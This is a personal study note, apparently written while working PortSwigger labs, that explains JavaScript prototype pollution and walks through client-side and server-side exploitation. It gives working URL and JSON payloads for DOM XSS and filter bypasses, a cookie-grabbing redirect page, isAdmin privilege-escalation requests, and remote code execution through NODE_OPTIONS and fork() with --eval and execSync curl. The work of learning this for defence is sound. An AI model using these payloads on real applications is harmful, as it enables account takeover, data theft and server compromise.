侯智晟
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Prototype pollution [TOC] ==Definition== Prototype pollution is a vulnerability in javascript ,that enable attacker to add properties to global object prototype, which may then be inherited by user-defined objects. # Javascript prototype and inheritance Almost everything in JavaScrpt is an object under the hood ## property property -> key:value ``` const meowhecker = { name:"meowhecker", //property age:10 //property method:function(){ // do somethings } } ``` ## Access the property Access Methods: - dot notation - bracket notation ``` meowhecker.name meowhecker['age'] ``` ## Object Literal Object Literal is mean the object is create by the curly brace syntax ## Javascript prototype Every object in javascript is linked to another object (prototype) By the Default Javascript automatically assign new object one of built-in prototype. ![](https://hackmd.io/_uploads/H1SsPkq23.png) ![](https://hackmd.io/_uploads/SJiowyc2h.png) ``` let myObject = {}; Object.getPrototypeOf(myObject); // Object.prototype let myString = ""; Object.getPrototypeOf(myString); // String.prototype let myArray = []; Object.getPrototypeOf(myArray); // Array.prototype let myNumber = 1; Object.getPrototypeOf(myNumber); // Number.prototype ``` Object automatically inherit all the property of their assign prototype ## Javascript inheritance When we reference a property of an Object Firstly -> JavaScript engine access the property directly on the object itself. if the property is not found on the object,we then looking for it in the object's prototype ![](https://hackmd.io/_uploads/H1nAoyc2n.png) ## Prototype chain object's prototype is just another object, which should also have own prototype ![](https://hackmd.io/_uploads/SJL3le53n.png) Crucially, objects inherit properties not just from their immediate prototype, but from all objects above them in the prototype chain. username object can access to the prototype and method of both String.prototype and Object.prototype. ## Accessing an object's prototype using __porto__ ``` username.__proto__ username['__proto__'] ``` chain reference ``` username.__proto__ // String.prototype username.__proto__.__proto__ // Object.prototype username.__proto__.__proto__.__proto__ // null ``` ## Modify prototype String object ``` String.prototype.removeWhitespace = function(){ // remove leading and trailing whitespace } ``` ``` let searchTerm = " example "; searchTerm.removeWhitespace(); // "example" ``` # Prototype Pollution vulnerability ARise. Prototype pollution arise when recursively merges an object containing user-controllable properties into an existing object Sample ```javascript const object1 = { name: "Alice", address: { city: "New York", country: "USA" } }; const object2 = { age: 30, address: { country: "Canada" } }; const mergeObject = {}; function resursiveMerge(targetObject, inputObj) { for (let key in inputObj) { if (typeof inputObj[key] === "object" && inputObj[key] !== null) { //if value is object and valule isn't null if (!targetObject[key]) { targetObject[key] = {}; // create empty Key } resursiveMerge(targetObject[key], inputObj[key]); // resursive invoke } else { targetObject[key] = inputObj[key]; // Assight the value } } } resursiveMerge(mergeObject, object1); resursiveMerge(mergeObject, object2); console.log(mergeObject); ``` Result ``` { name: 'Alice', address: { city: 'New York', country: 'Canada' }, age: 30 } ``` If developer doesn't sensitive the key, we can inject a property with key like __proto__ merger operation may assign the property to the object's prototype instead of the object's itself Common Occurs: Object.prototype # Exploitation of Prototype Pollution ## Getter __proto__ -> getter __proto__ point to object prototype. javascript can use this to return object prototype ! When we assign the value by __proto__, actually we are assign value on prototype ! ```javascript let obj = {}; obj.__proto__.evilProperty = "I'm evil!"; console.log(obj.evilProperty); // "I'm evil!" console.log(Object.prototype.evilProperty); // "I'm evil!" ``` Sample ![](https://hackmd.io/_uploads/SyALpSyp3.png) ## Prototype pollution source Prototype pollution source means any user control input that enable you to add arbitrary property to prototype object ==Common source== URL or fragment string (hash) JSON-base input Message ### (Source 1)Prototype pollution via the url When breaking the query string as key:value ! ->Seen __proto__ is string to merge exists Object Example (Website parse key and value via URL) ``` https://mewohecker.com?__proto__['evilProperty'] = payload ``` Merge Operation ! ``` { existingProperty1: 'foo', existingProperty2: 'bar', __proto__: { evilProperty: 'payload' } } ``` statement equivalent to the following: ``` targetObject.__proto__.evilProperty = 'payload'; ``` ![](https://hackmd.io/_uploads/rJmvADon2.png) If the `targetObject` is `Object.prototype`, all objects will inherit the "evil" property. ### (Source 2)Prototype pollution JSON input JSON.parse will seen "__proto__" as a string not a getter method, it provide us a potential vector for prototype pollution. ``` const objectLiteral = {__proto__:{admin:"Ture"}} const objectFromJson = JSON.parse('{"__proto__":{"admin":"Ture"}}') console.log(objectLiteral.hasOwnProperty('__proto__')) //false console.log(objectFromJson.hasOwnProperty('__proto__')) //true ``` ## Prototype pollution sink "Sink" refers to javaScript Function or DOM element that allow us to execute arbitrary javasScript or system command. prototype pollution can enable us to manipulate property that original inaccessible. we will have more opportunity to interact with additional sinks and exploit it ## Prototype pollution gadgets(小裝置) gadges -> Prototype pollution vulnerability turn into an actual exploit - Passing a property to a sink without any sensitivity! - An object inherits a malicious property added to the prototype by an attacker. If injected property is defined directly on the object itself, it's not considered a prototype pollution gadgets (The object's own version fo the property takes precedence over the injected property) ### Example of prototype pollution gadgets Library code ``` let transportURL = config.transportURL || default.transportURL ``` if a specific options (config.tranportURL) is not present a predefined default option (default.transportURL) will be used instead. --- # Client-Side prototype pollution ## Manual Testing - Step 1 Find out injection Point ! Find ouy url(Parse Key:value ) or json input(Using Json.parse()) can merge exists obj malicious attribute to prototype Step 2 Check Pollution Occurred ! create obj in console to determine the pollution was occurred! ```javascript= __proto__[foo]=bar __proto__.foo=bar Bypass __protot__ check ! myObject.constructor.prototype == myObject.__proto__ ``` ## DOM Invader(XSS 測試工具) DOM Invader is Burp Suite extension tool(pre-installer) used for automated testing the DOM XSS vulnerabilities. ### Enabling DOM invader ![](https://hackmd.io/_uploads/S1xOIdET3.png) ![](https://hackmd.io/_uploads/Hy52wuVah.png) ### Key Feature ![](https://hackmd.io/_uploads/BJA2dOEa2.png) ==Automatically identify sources of client-side prototype pollution== the tool will automatically detect the potential Source and you can then select "Scan for gadgets" options to find the Sink and exploit it. ![](https://hackmd.io/_uploads/SJdrqu463.png) ## Lab: DOM XSS via Client-side prototype pollution >Description: Confing.transport is not be defined We can pollute it by using the __proto__. ### Impact pre-auth Arbitrarily javascript execution ### Analysis ![](https://hackmd.io/_uploads/H1mXlFJa2.png) ![](https://hackmd.io/_uploads/HytexFJpn.png) I found the object will inherit the __proto__, if the property is not be defined. Source ```javascript! async function logQuery(url, params) { try { await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)}); } catch(e) { console.error("Failed storing query"); } } async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } ``` Analysis logQuery() input: HTTP URL and Params ``` JSON.stringify(params) ``` javascript Object trans into JSON searchLogger() create the config Object Attribute -> params Methods: ToStrng transport_url -> transport\_URL -> If transport\_URL is not defined, we can pollute it (we could control it ) ``` script.src = config.transport_url; ``` Source: ->URL query ``` ?search=meowhecker&constructor[prototype][testproperty]=DOM_INVADER_PP_POC ``` Embedding the data that we can control in the URL. Format ``` data:[<mediatype>][;base64],<data> ``` Sink: ``` <script src="$transport_url"></scirpt> ``` Identify a gadget ![image](https://hackmd.io/_uploads/ByyKOaZGye.png) Steps to Reproduce XSS-payload ![](https://hackmd.io/_uploads/B1RvvAZT3.png) ``` ?search=meowhecker&__proto__[transport_url]=data%3A%2Calert%281%29 ``` ![](https://hackmd.io/_uploads/rkkv6vkT3.png) Solved ! --- ## LAB:DOM XSS via an alternative prototype pollution vector ### Impact: pre-auth Arbitrarily javascript execution ### Analysis Prototype pollution is probable: Method 1 ``` url?__proto__['meow']=hecker ``` -> Failed Object.prototype is not affected by our injection . So we can try another way to test it Method 2 ``` url?__proto_.meow = hecker ``` Result ![](https://hackmd.io/_uploads/Sy6mWqET2.png) Sink: Search logger() ```javascript async function searchLogger() { window.macros = {}; window.manager = {params: $.parseParams(new URL(location)), macro(property) { if (window.macros.hasOwnProperty(property)) return macros[property] }}; let a = manager.sequence || 1; manager.sequence = a + 1; eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }'); if(manager.params && manager.params.search) { await logQuery('/logger', manager.params); } } window.addEventListener("load", searchLogger); ``` manager.squence -> not Defined !! payload ?__proto__.sequence=alert(1) ### Payload Debug analysis: ![](https://hackmd.io/_uploads/BJND69NTn.png) ![](https://hackmd.io/_uploads/HyexC54p2.png) We need to consider how to make "alert(1)1" can be execute correctly within eval function ```javascript let object ={ sequence:"alert(1)" } let source = object.sequence+"1" console.log(source) eval(source) ``` ![](https://hackmd.io/_uploads/S17wJoE6h.png) Validated Payload ``` alert(1)<!-- ``` or ``` alert(1)-" ``` 這裡 - 會被parse 成 -號 但alert(1) 會被execute ![](https://hackmd.io/_uploads/Byg21oV63.png) evil -> 可以想成`<script></script>` ![](https://hackmd.io/_uploads/BkvbMi4T2.png) ## Prototype Pollution via the Construction(Alternative Vector) ### Common Defends Common Defends strategy involves to removing any property with key __proto__ from user controlled object. However, it's possible to reference `Object.prototype` without using the string "proto" at all. --- If the prototype set is not "null," the `Object` will utilize the constructor function (`Object`) to create a new instance. ```javascript myObjectLiteral.constructor // function Object(){...} myObject.constructor // function Object(){...} ``` COnstructor function Also have the __proto__ property ``` myObject.constructor.prototype // Object.prototype myString.constructor.prototype // String.prototype myArray.constructor.prototype // Array.prototype ``` As `myObject.constructor.prototype` is equivalent to `myObject.__proto__`, this provides an alternative vector for prototype pollution. ``` __proto__[meow]='hecker' __proto__.meow='hekcer' object.constructor[prototype]=hecker ``` ``` URL ```javascript __proto__.property="value" Object.constructor.prototype.property="value" ``` ### JSON payload ``` "constructor":{ "prototype":{ "isAdmin":true } } ``` ``` ## Bypass Flawed key sensitive Common mistake is failing to recursively sanitize the input string. e.g. ``` url?__pro__proto__to__[gadget]=payload ``` ``` url?__proto__.gadget=payload ``` ## Lab: Client-side prototype pollution via flawed sanitization Analysis ``` __proto__.meow='hecker' __proto__[meow]='hecker' construct.prototype.meow ='hecker' construct[prototype][meow]='hecker' ``` ## Key Sensitive Bypass GET /resources/js/searchLoggerFiltered.js ```javascript function sanitizeKey(key) { let badProperties = ['constructor','__proto__','prototype']; for(let badProperty of badProperties) { key = key.replaceAll(badProperty, ''); } return key; } ``` ``` ?__pro__proto__to__[meow]='hecker' ``` ![](https://hackmd.io/_uploads/Hy-ZBn4ph.png) ### Sink ```javascript async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } } ``` ### Exploit payload ``` ?__pro__proto__to__[transport_url]=data:,alert(1); ``` ![](https://hackmd.io/_uploads/ryWXun4a3.png) --- ## Prototype pollution in external libraries The prototype pollution gadgets may occur in the third-part library that are imported by the application ## LAB Client-side prototype pollution in third-part libraries. Using the DOM invader to Search potential Sink ![](https://hackmd.io/_uploads/S1WVcaTan.png) ### Impact: Arbitrary Javascript Execution Analysis: ![](https://hackmd.io/_uploads/SkAv-6aan.png) ![](https://hackmd.io/_uploads/Skg0-aT63.png) ### payload ``` #__proto__[hitCallback]=alert%281%29 ``` Craft the response Mal-URL ``` https://exploit-0af700bc036fcd7783a4ecd701520015.exploit-server.net/meowhecker.com ``` Response Header ``` HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ``` BOdy ```htmlembedded Hello, world! I'am MeowHecker~ <script> location = "https://0af200cc03b3cdab8317ed9e006b0046.web-security-academy.net/#__proto__[hitCallback]=alert(%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20)" </script> ``` IF the victim clicks the malicious URL, it will trigger the payload and execute the arbitrary javascript code. --- ## Browser API ### prototype via fetch() fetch function allow the client to trigger the HTTP requests Using the javascript. Sample ``` fetch('http://meowhecker',{ method:POST, body:username=??&password=?? }) ``` Vulnerable Code Attacker can try the use header property to inject malicious code ```javascript fetch('/my-products.json',{method:"GET"}) .then((response) => response.json()) .then((data) => { let username = data['x-username']; let message = document.querySelector('.message'); if(username) { message.innerHTML = `My products. Logged in as <b>${username}</b>`; } let productList = document.querySelector('ul.products'); for(let product of data) { let product = document.createElement('li'); product.append(product.name); productList.append(product); } }) .catch(console.error); ``` It utilize an HTTP request to retrieve the username from the server and set the vale of the username variable ``` let username = data['x-username'] ``` Before the requesting to JSON file, the username variable is not defined and attacker can inject malicious property pass in InnerHTML(SINK) which can leaded to DOM XSS ``` message.innerHTML = `My products. Logged in as <b>${username}</b>`; ``` payload ``` ?__proto__[headers][x-username]=<img/src/onerror=alert(1)> ``` headers -> 取得HTTP request (header)部分 Analysis ```javascript! const customerHeader = { headers:{ 'Content-Type': 'application/json', 'Authorization': 'meowhecker secret-token', 'testing':undefined } } const response ={ __proto__:customerHeader } console.log(response.headers); console.log(response.__proto__.headers); console.log(response.__proto__.headers['Content-Type']); ``` -> we can controlled any undefined property of the options object passed to fetch() ## Prototype pollution via Object.defineProperty() Flawed prototype pollution Mitigation ```javascript const vulnerableObject = {} Object.defineProperty(vulnerableObject,'gadgetProperty',{ configurable:false, writable:false }) vulnerableObject.gadgetProperty = "meowhacker hacke in" console.log(vulnerableObject.gadgetProperty) ``` descriptor 如果沒有 initial value -> e.g. value : "value" payload ``` __proto__.value="evil input" ``` --- ## LAB analysis: Source(URL) /?__proto__[meow]="hacker" ![](https://hackmd.io/_uploads/ry1vugA6n.png) vulnerable code ```javascript async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false}; Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.search) { await logQuery('/logger', config.params); } } ``` Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); he don't defined the initial value of the property(Object.defineProperty )!! ``` /?__proto__[value]=meowhecker ``` ![](https://hackmd.io/_uploads/HyHh5gC6h.png) ### Exploit payload ``` ?__proto__[value]=data:,alert(1) ``` ![](https://hackmd.io/_uploads/H1RPolATn.png) # Serve Side prototype pollution More difficult - NO-source code - DOS problems - Pollution persistence ## Polluted property reflection(Detection) A "for...in" loop in JavaScript can enumerate properties, including those inherited from the prototype. ```javascript= userObj = { name:"user", password:"user123" } Object.prototype.meow = "hacker" console.log(userObj.hasOwnProperty('moew')) //output: false console.log(userObj.meow) console.log("---------------------------------------------------") //for loop enumerate console.log("for...loop") for (propertyKey in userObj){ console.log(propertyKey) } ``` if the server side for..loop is used to retrieve obj values and respond to client, we can utilize it to send POST or PUT request to test whether there is a global prototype pollution or not. ### Detect way (Reflect) Way 1 (JSON injections) Request! ``` POST /user/update HTTP/1.1 Host: vulnerable-website.com ... { "name":"user", "password":"user123", __proto__:{ "meow":"hacker" // injected property } } ``` Response! ``` HTTP/1.1 200 OK ... //if the website have prototype pollution vulnerable { "name":"user", "password":"user123", "meow":"hacker" //Server-side have prototype pollution } ``` In rare case, the website use these properties to dynamically generate the html. This mean that we can analysis the html to know the website whether it have vulnerability or not. if we are aware prototype pollution is possible,the next step is to find the potential gadget to exploit this vulnerability We could investigate any feature including updating user date, if we can arbitrarily modify any property of the current user object ,this potentially lead to a number of vulnerabilities, including privilege escalation. ## LAB- Privilege escalation via server-side prototype pollution Environment - Node.js - Express After logging into the website, we are aware that there is an "update user" functionality. We can proceed to test it to determine whether there is a prototype pollution vulnerability. POST /my-account/change-address HTTP/2 Request ``` POST /my-account/change-address HTTP/2 {"address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"YutUbIOtOx84Q7Dw9VeolizacFtRiH5Y", "__proto__": { "meow":"Hacker" } } ``` Response ``` {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ meowTest","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false,"foo":"bar","meow":"Hacker"} ``` Based on the results, if we can arbitrarily modify user object properties, we can attempt to elevate the user's privileges to that of an admin. Privilege User -> Admin payload request ``` POST /my-account/change-address HTTP/2 "__proto__": {"admin":"true"} ``` Easy ![](https://hackmd.io/_uploads/S1aKrKeA2.png) ![](https://hackmd.io/_uploads/HJ7hHFlC2.png) --- ## Detecting prototype pollution without polluted property pollution (Non-destructive) we can attemp inject property to the potential configuration option of the server, and compare the server's behavior before and after ### Status code override ``` HTTP/1.1 200 OK ... { "error": { "success": false, "status": 401, "message": "You do not have permission to access this resource." } } ``` self-defined Error Object Node http-error module ```javascript function createError(arg,status){ // object if (typeof arg === 'object' && arg instanceof Error){ status = arg.status || arg.statusCode || status }else if (arg === 'number'){ status = arg; } const error = new Error(`Custom Error with Status Code${status}`) error.status = status return error } const error1 = createError(404); // create 404 Error Object console.error(error1); const customError = new Error('This is a custom error'); customError.status = 418; const error2 = createError(customError); console.error(error2); ``` Injected point: ==status = arg.status \|| arg.statusCode || status== If the developer didn't explicitly set the "status" property for an error, we could attempt to pollute this property to determine whether there is a prototype pollution vulnerability or not. #### Methods 1. Find a way to trigger the error and record the default status code. 2. Attempt to pollute the prototype with your own `status` property. 3. Trigger the error response and check whether the status code has been overridden. ### JSON spaces override Express 4.17.4 (below) ### charset override middleware -> preprocessing of requests before pass to the handler function ==req.body obj== ```javascript const express = require("express"); const bodyParse = require("body-parser") const app = express() //middleWare //Parse the reqeust //paser application/x-www-form-urlencoded" app.use(bodyParse.urlencoded()) //paser JSON data to js object app.use(bodyParse.json()) app.post('/api/meow',(req,rsp)=>{ const requestBodyObj = req.body console.log(requestBodyObj) rsp.json({message:'Received data !!'}) }) const port = process.env.PORT || 8001 app.listen(port,()=>{ console.log(`Server is running on port ${port}`); console.log(`http://127.0.0.1:${port}`) }) ``` ``` USER@DESKTOP-QGJ2K9H MINGW64 ~/Desktop/CSIE/WebSecurity (master) $ curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "key1=value1&key2=value2" http://127.0.0.1:8001/api/meow {"message":"Received data !!"} body-parser deprecated undefined extended: provide extended option reqBodyObj.js:10:23 Server is running on port 8001 http://127.0.0.1:8001 { key1: 'value1', key2: 'value2' } ``` --- charset charset is used to instruct the server on how to decode and parse the data ```javascript const express = require("express"); const bodyParse = require("body-parser") const contentType = require('content-type'); const read = require('read'); const app = express() const port = process.env.PORT || 8001 //middleWare //Parse the reqeust //paser application/x-www-form-urlencoded" app.use(bodyParse.urlencoded({ extended: false })) //paser JSON data to js object app.use(bodyParse.json()) app.use((err, req, res, next) => { console.error('Error:', err); res.status(500).send('Internal Server Error'); }); function getCharset(req){ try { //get the contentType of charest property return (contentType.parse(req).parameters.charset || "").toLowerCase() } catch(error){ console.log(error) return undefined } } app.post('/api/post1',(req,res)=>{ const requestBodyObj = req.body console.log(requestBodyObj) res.json({message:'Received data !!'}) }) //charset app.post('/api/post2',(req,res)=>{ // get the charset form HTTP header (Content-Type:) const charset = getCharset(req) || "utf-8" const readOption = { //encoding -> Inform the server to use a specific character encoding for decoding when reading data. encoding: charset // //compose data // inflate: inflate, // //Maximum string length. // limit: limit, // verify: verify } //read the data: parse request -> to data //Read function have BUG read(req,res,(err,data)=>{ if(err){ console.error('Error reading request:', err); res.status(500).send('Internal Server Error'); }else{ console.log(data) // res.json({message:'Received data !!'}) res.send('Request data received successfully!'); } },readOption) }) app.listen(port,()=>{ console.log(`Server is running on port ${port}`); console.log(`http://127.0.0.1:${port}`) }) ``` How to test?? we could follow these steps send the json data to the server In this data, the "role" field contains the value "+AGYAbwBv-", which is encoded as "foo" in UTF-7. ```json { "sessionId":"0123456789", "username":"meowhecker", "role":"+AGYAbwBv-" } ``` And attempt to polluted req object ``` { "sessionId":"0123456789", "username":"meowhecker", "role":"default", "__proto__":{"content-type": "application/json; charset=utf-7"} } ``` This payload tries to set the charset to UTF-7. Resend ```json { "sessionId":"0123456789", "username":"meowhecker", "role":"+AGYAbwBv-" } ``` if there is prototype pollution the role field will be pare as "foo" #### `_http_incoming` module ``` IncomingMessage.prototype._addHeaderLine = _addHeaderLine; function _addHeaderLine(field, value, dest) { // ... } else if (dest[field] === undefined) { // Drop duplicates dest[field] = value; } } ``` `_addHeaderLine()` function checks -> checks that no property already exists with the same key before transferring properties to an `IncomingMessage` object 我們用自己的 content-type 屬性污染原型-> undefined,則此時表示請求標頭原生的將被drop掉 讓我們的injection 有效 ## LAB-Detecting server-side prototype pollution without the polluted prototype pollution Request ``` POST /my-account/change-address HTTP/2 ... {"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k"} ``` Response ``` HTTP/2 200 {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false} ``` Now we could attempt to inject the prototype property to test it ``` {"address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"lnWxQjQS8kEloO4WUo97pDnNqcJ3j34k", "__proto__": { "meow":"hacker" } } ``` it appears that response didn't reflect any of the injected property ``` {"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Meowhecker","address_line_2":"meow","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false} ``` ### Status code Override (way 1) However, this dose not necessarily mean that there is no prototype pollution, we could try status code override to further investigate. --- if we intentionally break the json form by removing the comma, The response might result in a error object ![](https://hackmd.io/_uploads/SJ4cxl903.png) 400 -> bad request Implement might be like this: ``` status = arg.status || arg.statusCode || status ``` we could try Inject prototy ``` POST /my-account/change-address HTTP/2 "__proto__": { "status":555 } ``` ``` HTTP/2 200 OK ... ``` ``` ``` ![](https://hackmd.io/_uploads/S1vDzl5A2.png) --- ![](https://hackmd.io/_uploads/rkmv7ec0h.png) ![](https://hackmd.io/_uploads/BkABflcCh.png) ![](https://hackmd.io/_uploads/BkZNmecC2.png) ### Charset override (way 2 ) Vulnerable implement probably like this: ```javascript app.post('/api/post2',(req,res)=>{ // get the charset form HTTP header (Content-Type:) const charset = getCharset(req) || "utf-8" ``` ```javascript function getCharset(req){ try { //get the contentType of charest property return (contentType.parse(req).parameters.charset || "").toLowerCase() } catch(error){ console.log(error) return undefined } } ``` contentType.parse(req).parameters.charset -> http Header -> contentType payload ``` "__proto__":{ "content-type": "application/json; charset=utf-7" } ``` utf-7 Encoding foo --> +AGYAbwBv- Inject the prototype property !! POST /my-account/change-address HTTP/2 ![](https://hackmd.io/_uploads/rkfOKec02.png) --- POST /my-account/change-address HTTP/2 ![](https://hackmd.io/_uploads/SkQpYl5C2.png) HTTP/2 200 OK ![](https://hackmd.io/_uploads/r1oaFg9Rh.png) ## Scanning for source Auto Scanning Extension Bapp store ![](https://hackmd.io/_uploads/HJb5og502.png) Basic work flow 1. Install the **Server-Side Prototype Pollution Scanner** extension from the BApp Store and make sure that it is enabled. For details on how to do this, see [Installing extensions](https://portswigger.net/burp/documentation/desktop/extensions/installing-extensions) 2. Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history. 3. In Burp, go to the **Proxy > HTTP history** tab. 4. Filter the list to show only in-scope items. 5. Select all items in the list. 6. Right-click your selection and go to **Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution**, then select one of the scanning techniques from the list. 7. When prompted, modify the attack configuration if required, then click **OK** to launch the scan. go to the **Extensions > Installed** tab, select the extension, then monitor its **Output** tab for any reported issues. ![](https://hackmd.io/_uploads/rk9hCe5Rn.png) ![](https://hackmd.io/_uploads/ryeCRlqRn.png) ## Bypass input filter ### Flawed Sanitiztion developer will write something to sanitize input(key sanitzation) if developer didn't use recursion to thoroughly check, it's possible to bypass flawed key sanitization `?__pro__proto__to__.gadget=payload` or use construction function ### Flawed application Configuration Node applications can also delete or disable `__proto__` using the command-line flags `--disable-proto=delete` or `--disable-proto=throw` we could use constructor function to bypass it ```javascript // Create a constructor function function LocalObj() { name:"local object" } // Add a property to the prototype(global testing) Object.prototype.property = "meow adding form Global Obj"; // Create an instance of MyObject const myInstance = new LocalObj(); // Access the property on the instance console.log(myInstance.property); // This will output "meow" ``` --- URL ```javascript __proto__.property="value" Object.constructor.prototype.property="value" ``` JSON ``` "constructor":{ "prototype":{ "isAdmin":true } } ``` ## LAB-bypass input filter for server-side prototype pollution 我們直接在constructor 裡面 做prototype pollution 想必用單純的__proto__ 是沒辦法去做prototype pollution Analysis: ```javascript "constructor":{ "prototype":{ "status":580 } } ``` ![](https://hackmd.io/_uploads/SyiV6WcC3.png) --- ![](https://hackmd.io/_uploads/rkMDabcC2.png) --- ```javascript "constructor":{ "prototype":{ "isAdmin":true } } ``` or IN url(沒試過) ``` Object.constructor.prototype.isAdmin = true ``` ![](https://hackmd.io/_uploads/BJg9aW90h.png) ![](https://hackmd.io/_uploads/S19apW9R2.png) ![](https://hackmd.io/_uploads/r1BAaZ5Rh.png) conclusion we cloud use ## Remote Code Execution client-side ->DOM XSS server-side ->potentially lead to RCE ### Vulnerably request `child_process` module have a number of potential command execution sink in Node Identify a vulnerably request: Those danger sink are often invoked by a request that occurs asynchronously to the request identified way The best way to identify these requests is by polluting the prototype with a payload that triggers an interaction C2 server when called `NODE_OPTIONS` -> String (為一組/多組 command line argument) e.g. - `--max-old-space-size` - `--inspect` For 自動 Depoly 可用的 When you start a new Node.js process, the defined command-line arguments should be used by default. NODE_OPTIONS is a property of the env object, if value is not defined, we can attempt to polluted it and control it Source: ``` var env = options.env || process.env; //638 ``` Some node functions create new child process that accept the "shell" property to execute command we could combine with NODE_OPTION(controllable-source) to execute arbitrary command #### inspect ```javascript function sayHello() { console.log('Hello, world!'); while(1){ var number = 0 } } sayHello() ``` Cmd: ``` node --inspect .\debugInspeat.js ``` (Local Debugger) Chrome Node Debuger `chrome://inspect` ![](https://hackmd.io/_uploads/rkeQbW3R3.png) click `inspect` (Remote dubgger) ``` --inspect=0.0.0.0:9229 ``` ``` "__proto__":{ "shell":"node", "NODE_OPTION":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com" } ``` ### Child_process.fork() Method https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L68 Fork Function ``` function fork(modulePath, args = [], options) { //120 ... return spawn(options.execPath, args, options); ``` Remote Code Execution ```javascript const {fork} = require('child_process') const execArgsOptions=[ "--inspect=9926", "--eval=require('child_process').execSync('curl http://127.0.0.1:8000')" ] const options ={ //property execArgv:execArgsOptions } const mainProcess = fork('child.js',[],options) ``` --eveal -> it could import the module ``` node .\mainProcessFork.js Debugger listening on 